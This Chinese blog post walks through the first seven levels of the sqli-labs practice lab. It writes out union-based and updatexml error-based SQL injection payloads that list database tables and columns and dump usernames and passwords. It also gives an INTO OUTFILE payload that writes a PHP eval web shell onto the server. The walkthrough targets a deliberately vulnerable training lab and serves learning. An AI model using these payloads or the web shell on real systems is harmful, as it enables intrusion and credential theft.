sql-labs（部分）

已于 2022-12-26 21:02:07 修改
阅读量147 收藏
点赞数
分类专栏： 靶场 文章标签： sql 数据库 mysql
于 2022-12-26 20:54:54 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_64702918/article/details/128449261
版权

sql-labs

什么是sql-labs？

SQL 注入（SQL Injection） 是发生在 Web 程序中数据库层的安全漏洞，是网站存在最多也是最简单的漏洞。 主要原因是程序对用户输入数据的合法性没有判断和处理，导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步获取到数据信息
推荐一个视频【转载】SQL注入、SSTI&Docker逃逸 HTB CTF -GoodGame-哔哩哔哩

Less-1,2

这两个知识点，都没差…
网上查询得Pass-01基于单引号的SQL注入，Pass-02基于整数的注入

判断是否存在注入

用get传值id=1，随后能看到网页出现变化
在这里插入图片描述用get传值id=2，
在这里插入图片描述
用get传值id=15之后，界面异常。
在这里插入图片描述
有没有可能把?id=1,这个传参给它拼接到SQL语句中？并且被当做SQL代码进行执行？
尝试，?id=1 and 1=2…无变化。
在这里插入图片描述
Pass-02的知识从这开始，尝试闭合?id=1’and 1=1-- za（后跟的字母随便…）
在这里插入图片描述
注意空格（格式），否则会报错，如图
在这里插入图片描述
?id=1’and 1=2-- zaa，页面异常（可能存在SQL注入）
在这里插入图片描述

判断字段数

使用 order by 查询所有字段，从1开始直到4，发现3正常，但是4的页面异常（存在三个字段）
在这里插入图片描述

union select判断显错位（回显）

输入，?id=1’union select 1,2,3-- zaa，显示了前面的结果，
1,2,3:仅仅相当于占了三个位置（先前order by 查询为3），所以用什么表示均可。
在这里插入图片描述
从而试着将id=1,改为id=15(因为页面没结果)
在这里插入图片描述
注意：有文章说，已知这里面只有三列，找每一列的位置，使用 ?id=0’ union select 1,2,3 --+ （要注意的是此处的id值必须是0以下的数字，否则不能成功）

库名和登录用户名

将2的位置换为database()，显示当前页面数据库库名：security。
在这里插入图片描述
查询当前数据库的库名和当前的登录用户名，使用 ?id=0’ union select 1,database(),user() – zaa
user()顶替3的位置，为当前的登录用户名。
在这里插入图片描述

判断表名

?id=15’union select 1,table_name,3 from information_schema.tables where table_schema=‘security’-- zaa

table_name：代表表名
information_schema藏有自带的数据库
table_schema字面指库名
在这里插入图片描述
第二位（则第一位可用limit 0,1表示）
?id=15’union select 1,table_name,3 from information_schema.tables where table_schema=‘security’ limit 1,1– zaa
在这里插入图片描述
第三位（limit 1,1中的前面的1改为2）
即…?id=15’union select 1,table_name,3 from information_schema.tables where table_schema=‘security’ limit 2,1-- zaa
在这里插入图片描述
等…

判断列名

?id=15’union select 1,column_name,3 from information_schema.columns where table_schema=‘security’ and table_name=‘emails’-- zaa
emails：可根据表进行替换
在这里插入图片描述
例：
?id=15’union select 1,column_name,3 from information_schema.columns where table_schema=‘security’ and table_name=‘referers’-- zaa
在这里插入图片描述

判断数据

?id=15’union select 1,id,3 from emails-- zaa
在这里插入图片描述
与上同，emails：可根据表进行替换

快法（要注意的是此处的id值必须是0以下的数字，否则不能成功）

将2的位置换为database()，显库名：security。
参考文章…

表名

数据库库名后再爆破数据库，使用 ?id=0’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3 --+
在这里插入图片描述
表名一步到位…

列名

?id=0’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘emails’),3 --+
emails：可根据表进行替换
在这里插入图片描述

数据名

格式?id=0’ union select 1,(select group_concat(concat_ws(0x7e,表名对应的列名,表名对应的列名)) from 表名),3 --+
0x7e应该是个站位的…，其位置也可为表名对应的列名，观察02，03

01

?id=0’ union select 1,(select group_concat(concat_ws(0x7e,id,email_id)) from emails),3 --+ 进行爆破，得到以下内容。
在这里插入图片描述

02

?id=0’ union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3 --+ 进行爆破，得到以下内容。
在这里插入图片描述

03

?id=0’ union select 1,(select group_concat(concat_ws(id,username,password)) from users),3 --+ 进行爆破，得到以下内容
在这里插入图片描述

Less-3

查看源码…发现被框了。不会被当做代码，从而使代码失效。在这里插入图片描述
从而’后加一个)

判断是否存在注入?id=1’)and 1=1-- za
判断字段数?id=1’)order by 1-- za
union select判断显错位?id=1’)union select 1,2,3-- zaa
判断表名?id=15’)union select 1,table_name,3 from information_schema.tables where table_schema=‘security’-- zaa
判断列名?id=15’)union select 1,column_name,3 from information_schema.columns where table_schema=‘security’ and table_name=‘emails’-- zaa
判断数据名?id=15’)union select 1,id,3 from emails-- zaa

Less-4

由图与03相比单引变成了双引号…
在这里插入图片描述

判断是否存在注入?id=1")and 1=1-- za
判断字段数?id=1")order by 1-- za
union select判断显错位?id=1")union select 1,2,3-- zaa
判断表名?id=15")union select 1,table_name,3 from information_schema.tables where table_schema=‘security’-- zaa
判断列名?id=15")union select 1,column_name,3 from information_schema.columns where table_schema=‘security’ and table_name=‘emails’-- zaa
判断数据名?id=15")union select 1,id,3 from emails-- zaa

Sqli-labs

Less-5

先传个参！
在这里插入图片描述
此处是一个单引号闭合，输入的东西都会在单引号里面。
在这里插入图片描述
在这里插入图片描述
查看源码…
在这里插入图片描述

下面牵扯到一个新的updexml(目标xml内容，xml文档路径，更新内容)
语法：updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
实际上这里是去更新了XML文档，但是我们在XML文档路径的位置，写入子查询，我们输入特殊符号，然后就因为不符合输入规则就报错了。
报错的时候他就已经执行了那个子代码查询。
0x7e：实际是十六进制（Myaql支持16进制，但开头的得写0x,0x7e是一个特殊符号，然后不符合路径规则）
这个函数一般是配合and或者是or使用的，他和联合查询不同。

select *from news where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
如果and前面的条件不成立，就不会执行后面的语句。
报错一般有长度的限制，不能输出太长的数据，尽量不要使用group_concat()

判断是否存在注入：? id=1' and 1=1 -- zaa
判断库名：? id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- zaa
判断表名：? id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) -- zaa
判断列名：? id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1) -- zaa
判断数据：? id=1' and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1) -- zaa

在这里插入图片描述
如图所示 %20表示为空格，%27表示为’

Less-6

与第五关相比，闭合方式不同。

判断是否存在注入：? id=1" and 1=1 -- zaa
判断库名：? id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- zaa
判断表名：? id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) -- zaa
判断列名：? id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1) -- zaa
判断数据：? id=1" and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1) -- zaa

Less-7

判断字段数：

? id=1')) order by 3 -- zaa

写码：

?id=1')) union select 1,"<?php eval($_REQUEST[1]?)>",3 into outfile "D:/phpstudy_pro/WWW/sqli-labs-master/Less-7/shell.php"-- zaa

可能是没有配置。
在这里插入图片描述
嗯…学习视频中，点不太会，这几天课太满，可能要在换个思路，先放着，，，

BvxiE
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
sqllabs详解与知识点汇总（内含代码审计）
Samblue_M的博客
02-03 5004
sqllabs闯关记录 关于注释符的详解 SQL注入注释符(#、-- 、/**/)使用条件及其他注释方式的探索 - impulse- - 博客园 (cnblogs.com) HTTP请求方法------GET 对比 POST HTTP 方法：GET 对比 POST | 菜鸟教程 (runoob.com) 来自知乎的绕过 SQL注入：各种绕过检测的姿势 - 知乎 (zhihu.com) Less-1~4 @读题-------------get方式提交 @Error based—报错注入 @Single quo
sqli-labs 通关笔记详解 Less1 - Less10
HAKUNAMATATATTA的博客
12-18 2766
做sqli-labs靶场之前建议补一下基础。
sql-labs靶场环境搭建（手把手保姆级教学）
焦虑的焦虑
05-26 1936
sql-labs靶场搭建（保姆级手把手教学）你来你也行噢！
sql-labs学习
weixin_64286326的博客
02-08 2204
前言： 年前学习过sql的知识，现在忘得差不多了，趁这个机会赶紧在复习一下。 1 万能密码 在mysql里面 -- # 他们都代表注释 我们在登陆框内输入账号密码，服务器会在数据库内进行查询,大概是这样 select * FROM user WHERE username= '111' AND password= '222' 假如我们在登录框内的username填写 1' or 1=1# 效果是这样 SELECT * FROM user WHERE username= '1'
web安全sql注入篇——sqls-labs的安装和注入
m0_68167825的博客
06-10 1912
我们在刚学习 SQL 注入的时候，往往都需要一个能 SQL 注入的网站进行 SQL 注入学习。如果直接去网上寻找存在 SQL 注入的网站对新手来说有些难度，因此我们一般都是在本地搭建一个能 SQL 注入测试的网站。这里就来讲解一下 SQLi-Labs 的下载，安装，搭建教程。注意： mysql 版本一定要设置成 php5 以上，php5 以上才有 information_schema 库。SQLi-Labs 是一个专业的 SQL 注入练习平台，它适用于 GET 和 POST 等多场景的注入。使用 phpSt
sql-labs
m0_74606212的博客
03-10 401
sql-labs
windows环境下安装sqli-labs
11-04
* Java 环境：部分关卡需要 Java 环境，详细安装教程可以查看我另一篇文章 java 环境的配置。 Phpstudy 安装 首先，我们需要下载 Phpstudy 安装包并安装。下载链接为 http://phpstudy.php.cn/download.html。 在...
SQL-labs/less1通关教程
02-29
参考了部分大佬的作品 原作链接：https://blog.csdn.net/qq_50808416/article/details/130623497
sqli-labs靶场
最新发布
05-30
- **参数化查询/预编译语句**：使用参数化查询可以防止恶意SQL代码被注入，因为参数值不会被解释为SQL代码的一部分。 - **输入验证**：对用户输入进行严格的检查和清理，确保只有预期的数据类型和格式被接受。 - *...
sqli-labs-master.zip
05-26
- 时间基注入：通过延迟或立即响应来确定SQL语句的真假部分。 - 盲注：在没有直接错误回显的情况下，通过观察服务器响应时间或状态来判断条件。 - 联合查询注入：当应用程序使用联合查询时，攻击者可以注入额外的...
SQLI-LABS环境搭建
12-12
SQLI-LABS环境搭建，里面包含PhpStudy2018和sqli-labs-ma
sqli-labs详解------持续更新
yuqie的博客
06-20 2731
如今已经很少使用手动注入了，写这篇的初心在于掌握并熟记手动注入，
Sql-lab全解_sqllab
2301_77033340的博客
04-12 720
这里推荐在password注入，因为会判断密码和账户的正确性，正确才会回显，如果这里在username注入则会比较麻烦经过测试这里回显位为2位得到数据库名称，和当前表名称得到表列得到数据。
sql-labs（1~4）
qq_53142368的博客
03-13 2689
学习目标： sql-labs 靶场基础练习 学习内容： sql-labs 靶场1~4关 学习时间： 2021年3月7日~2021年3月13日 学习产出： 前言 说出来满满都是泪呀 /(ㄒoㄒ)/~~ 我的靶场一直搭建不好，tmd，PHP study下载好了，并且在db-creds.inc里的用户地址也改为了本地127.0.0.1（localhost) 但是在打开靶场，发现打不开题（知道有多难受么）知道最近才问学长，同学，才发现是自己的PHP study版本太高了，这里就又出现一个问题，哎，我下载了好几个版本
sqli-labs通关详解
m0_52051132的博客
10-15 6859
sqlmap.py -r ./xx.txt --batch --level 3 --tamper=“base64encode.py” --current-db 爆破表单。sqlmap.py -u ip --data=“uname=admin&passwd=admin” --batch -D security --tables 最后脱库。条件正确有回显，条件错误没有回显，布尔盲注？py -r 文件位置 -p 扫描位置 --batch -D security -T users --dump //脱库。
sql-labs SQL注入平台——第二关Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)
Onlyone_1314的博客
05-28 1610
只返回了2、3说明，后端从数据库中执行SQL语句select 1,2,3;只在前端显示了第2、3个字段，所以我们能看到的就只有第2、3个字段，就要把注入点放在第2、3个位置上。查询id为0的用户肯定是没有返回结果的，这样返回的就只有union联合查询的第二个查询 select 1,2,3;得到security数据库中的表emails,referers,uagents,users。返回结果错误：没有第4列数据，说明只存在三列数据。查询，返回结果按照前4列数据排序。（3）查询当前数据库的名称。
sql-labs闯关1-10
ljlrookiebird的博客
04-11 531
原理跟第一关相同，单引号报错但是后面加注释又没办法使语句闭合，猜了半天是需要单引号和右括号才能使语句闭合，后台语句为select * from xxx where id=( '1' ) ,我们注入后的语句为：select * from xxx where id = （‘-1’）union select 1,2,database() --+ ')id=1' and if((length(database())>8),sleep(10),0) --+，页面十秒后加载。
sqilabs所有关过关的集合
04-17
"这篇文档是关于SQL注入的学习资料，主要聚焦于SQLi-Labs练习平台，由LCamry编撰。它包含了MySQL注入的基础知识、盲注技巧、数据导入导出操作、增删改函数的使用、HTTP头部的理解以及服务器架构、宽字节注入和堆叠...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值